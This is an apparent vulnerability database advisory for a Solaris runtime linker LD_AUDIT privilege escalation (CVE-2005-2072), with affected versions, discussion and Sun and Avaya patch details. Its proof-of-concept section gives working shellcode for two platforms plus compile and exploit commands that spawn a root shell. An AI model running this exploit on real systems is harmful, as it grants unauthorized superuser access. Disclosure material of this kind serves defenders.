BID:14074

Sun Solaris Runtime Linker LD_AUDIT Privilege Escalation Vulnerability

Info

Sun Solaris Runtime Linker LD_AUDIT Privilege Escalation Vulnerability

Bugtraq ID:	14074
Class:	Design Error
CVE:	CVE-2005-2072
Remote:	No
Local:	Yes
Published:	Jun 28 2005 12:00AM
Updated:	Nov 15 2007 12:38AM
Credit:	Przemyslaw Frasunek <[email protected]> is credited with the discovery of this vulnerability.
Vulnerable:	Sun Solaris 9_x86 Sun Solaris 9 Sun Solaris 8_x86 Sun Solaris 8_sparc Sun Solaris 10.0_x86 Sun Solaris 10 SchilliX SchilliX 0.1 Avaya Interactive Response 1.3 Avaya Interactive Response 1.2.1 Avaya Interactive Response Avaya CMS Server 13.0 Avaya CMS Server 12.0 Avaya CMS Server 11.0 Avaya CMS Server 9.0 Avaya CMS Server 8.0

Not Vulnerable:

Discussion

Sun Solaris Runtime Linker LD_AUDIT Privilege Escalation Vulnerability

The Sun Solaris runtime linker is susceptible to a privilege escalation vulnerability.

Runtime linkers in most operating systems are designed to ignore LD_* environment variables when executing setuid or setgid binaries. The manual page describing 'ld.so' for Sun Solaris also states that certain precautions are taken when setuid or setgid binaries are executed. Reportedly, these precautions are not properly followed when LD_AUDIT is used.

Exploiting this vulnerability allows local attackers to gain superuser privileges on affected computers.

Exploit / POC

Sun Solaris Runtime Linker LD_AUDIT Privilege Escalation Vulnerability

An exploit is not required, but proof-of-concept demonstration code was provided.

For Solaris 10 on amd64:
static char sh[] =
"\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";

int la_version() {
void (*f)();
f = (void*)sh;
f();
return 3;
}

For Solaris 9 SPARC:
char sh[] =
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

int la_version() {
void (*f)();
f = (void*)sh;
f();
return 3;
}

To compile:
gcc -fPIC -shared -o /tmp/dupa.so dupa.c

And to exploit:
export LD_AUDIT=/tmp/dupa.so
su

UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following proof of concept (Schily-Root.tar) has been provided by KF (lists) ([email protected]) for SchilliX:

/data/vulnerabilities/exploits/Schily-Root.tar

Solution / Fix

Sun Solaris Runtime Linker LD_AUDIT Privilege Escalation Vulnerability

Solution:
Sun has updated Sun Alert ID 101794 as well as fixes for Solaris 8 and 9 for both x86 and SPARC platforms, and a fix for Solaris 10 on the SPARC platform.

Sun has provided Interim Diagnostic Relief patch IDR120360-01 to address this issue for Solaris 10 on the x86 platform. Please see the referenced advisory for more information.

Avaya has released advisory ASA-2005-162 to identify vulnerable Avaya packages. Avaya is currently investigating this issue; more information about fixes will be released in the future.

Sun patch 118345-05 for Solaris 10 x86 has been released.

Sun Solaris 8_x86